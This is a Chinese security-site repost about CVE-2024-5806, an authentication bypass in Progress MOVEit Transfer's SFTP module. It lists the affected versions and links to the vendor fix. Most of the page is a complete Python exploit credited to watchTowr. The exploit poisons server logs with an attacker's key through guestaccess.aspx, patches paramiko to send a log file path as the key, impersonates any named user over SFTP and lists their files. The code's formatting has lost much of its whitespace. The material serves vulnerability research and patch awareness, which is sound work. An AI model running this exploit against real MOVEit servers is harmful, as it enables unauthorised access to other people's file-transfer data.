Progress MOVEit Transfer 验证绕过漏洞(CVE-2024-5806)

admin 2024年6月30日07:57:51评论5 views字数 6186阅读20分37秒阅读模式

Progress MOVEit Transfer 验证绕过漏洞(CVE-2024-5806)

免责声明:本文内容为机器人搜集最新漏洞及POC分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

漏洞名称

Progress MOVEit Transfer 验证绕过漏洞(CVE-2024-5806)

漏洞描述

Progress MOVEit Transfer(SFTP模块)中的不当身份验证漏洞可能导致在有限情况下的身份验证绕过。此问题影响MOVEit Transfer版本: 从2023.0.0到2023.0.11之前,从2023.1.0到2023.1.6之前,从2024.0.0到2024.0.2之前。

影响范围:Progess-Moveit Transfer,2023.0.0<=version<2023.0.11,2023.1.0<=version<2023.1.6,2024.0.0<=version<2024.0.2受影响。

POC

https://github.com/watchtowrlabs/watchTowr-vs-progress-moveit_CVE-2024-5806

import argparse
import os
import sys
import time

import paramiko
import requests
import urllib3
from paramiko.auth_handler importAuthHandler
from paramiko.dsskey importDSSKey
from paramiko.ecdsakey importECDSAKey
from paramiko.ed25519key importEd25519Key
from paramiko.pkey importPKey
from paramiko.rsakey importRSAKey

banner ="""    __         ___  ___________                   
     __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
     \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
      \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
       \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                  \/          \/     \/                            

        CVE-2024-5806.py
        (*) Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806) exploit by watchTowr
          - Aliz Hammond, watchTowr ([email protected])
          - Sina Kheirkhah (@SinSinology), watchTowr ([email protected])
        Note: We (watchTowr) aren't the original discoverers of the bug, we just reproduced it and wrote the exploit
              in order to enable proactive protection of client attack surfaces.
              We will update with proper credit when available.
        CVEs: [CVE-2024-5806]
"""



# Sanity check that required files exist.
defsanity(ppk_file: str, pem_file: str):
ifnot os.path.exists(ppk_file):
raiseException("(!) Provided PPK file does not exist")

ifnot os.path.exists(pem_file):
raiseException("(!) Provided PEM file does not exist")


# Load PPK and PEM key material, returning the PPK as raw bytes and the PEM as a parsed key file.
defloadKeys(ppk_file: str, pem_file: str)->(str,PKey):
try:
withopen(ppk_file,"r")as f:
            loaded_ppk = f.read()
except:
raiseException("(!) Exception when loading the provided PPK file")

# Since we don't know what type the key is, we need to try each type in turn. This is the best way to do it
# according to stackoverflow - see https://stackoverflow.com/a/76477074
    loaded_pem =None
for pkey_class in(RSAKey,DSSKey,ECDSAKey,Ed25519Key):
try:
            loaded_pem = pkey_class.from_private_key_file(pem_file)
exceptException:
pass

if loaded_pem isNone:
raiseException("(!) Unable to load the provided PEM file")

return loaded_ppk, loaded_pem

defpoisonLog(target_ip: str, target_web_port: str, ppkData: str):
try:
        requests.post(
f"https://{target_ip}:{target_web_port}/guestaccess.aspx",
            data={
"transaction":"signoff",
"Arg12":f"rn{ppkData}"
}, verify=False)
exceptException:
print("(!) Error while poisoning the log file")
raise

defauthenticate(target_ip: str, target_sftp_port: int, target_user: str, pem_file: PKey):
    transport = paramiko.Transport((target_ip, target_sftp_port))
    transport.connect(None, target_user, pkey=pem_file)
return paramiko.SFTPClient.from_transport(transport)

defmain(args):
    urllib3.disable_warnings()

    sanity(args.ppk_file, args.pem_file)
    ppk_key, pem_key = loadKeys(args.ppk_file, args.pem_file)

# Patch Paramiko, ensuring that it returns our file path instead of key data
def_get_key_type_and_bits(_, key):
if key.public_blob:
return key.public_blob.key_type, args.poison_path
else:
return key.get_name(), args.poison_path
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits

# Now we can insert our key data into the log file.
print("(*) Poisoning log files multiple times to be sure...")
for n inrange(0,10):
        poisonLog(args.target_ip, args.target_web_port, ppk_key)
        sys.stdout.write('.')
        sys.stdout.flush()
    sys.stdout.write('OKn')

print("(*) Waiting 60 seconds for logs to be flushed to disk")
for n inrange(1,61):
        sys.stdout.write(f'{n}.. ')
        sys.stdout.flush()
        time.sleep(1)
    sys.stdout.write('OKn')

    retriesLeft =10
whileTrue:
print("(*) Attempting to authenticate..")
try:
print(f"(*) Trying to impersonate {args.target_user} using the server-side file path '{args.poison_path}'")
            sftp = authenticate(args.target_ip, args.target_sftp_port, args.target_user, pem_key)

print("(+) Authentication succeeded.")
break
exceptException:
            retriesLeft = retriesLeft -1
if retriesLeft ==0:
raise

print("(!) Something went wrong during the SFTP authentication process, will retry.")
            time.sleep(2)

with sftp:
print(f"(+) Listing files in home directory of user {args.target_user}:rn")
for fileInfo in sftp.listdir_attr('.'):
print(fileInfo.longname)

print(banner)
parser = argparse.ArgumentParser(usage=r'python CVE-2024-5806.py --target-ip 192.168.1.1 --target-user admin --ppk id.ppk --pem id')
parser.add_argument('--target-user','-u', dest='target_user',help='username to impersonate', required=True)
parser.add_argument('--target-ip','-t', dest='target_ip',help='Target IP', required=True)
parser.add_argument('--target-web-port', dest='target_web_port',help='Target Web Port',type=int, default=443, required=False)
parser.add_argument('--target-sftp-port', dest='target_sftp_port',help='Target SFTP Port',type=int, default=22, required=False)
parser.add_argument('--poison-path','-x', dest='poison_path',help='poisoned file containing attacker controlled SSH public key', default="C:\MOVEitTransfer\Logs\DMZ_WEB.log", required=False)
parser.add_argument('--ppk','-k', dest='ppk_file',help='Putty Private Key file (PPK)', required=True)
parser.add_argument('--pem','-p', dest='pem_file',help='Private Key file in PEM format',required=True)

parsedArgs = parser.parse_args()
main(parsedArgs)

修复方式

https://community.progress.com/s/article/MOVEit-Transfer-Product-Security-Alert-Bulletin-June-2024-CVE-2024-5806

漏洞分析

https://labs.watchtowr.com/auth-bypass-in-un-limited-scenarios-progress-moveit-transfer-cve-2024-5806/

原文始发于微信公众号(安全光圈):Progress MOVEit Transfer 验证绕过漏洞(CVE-2024-5806)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月30日07:57:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Progress MOVEit Transfer 验证绕过漏洞(CVE-2024-5806)https://cn-sec.com/archives/2887654.html

发表评论

匿名网友 填写信息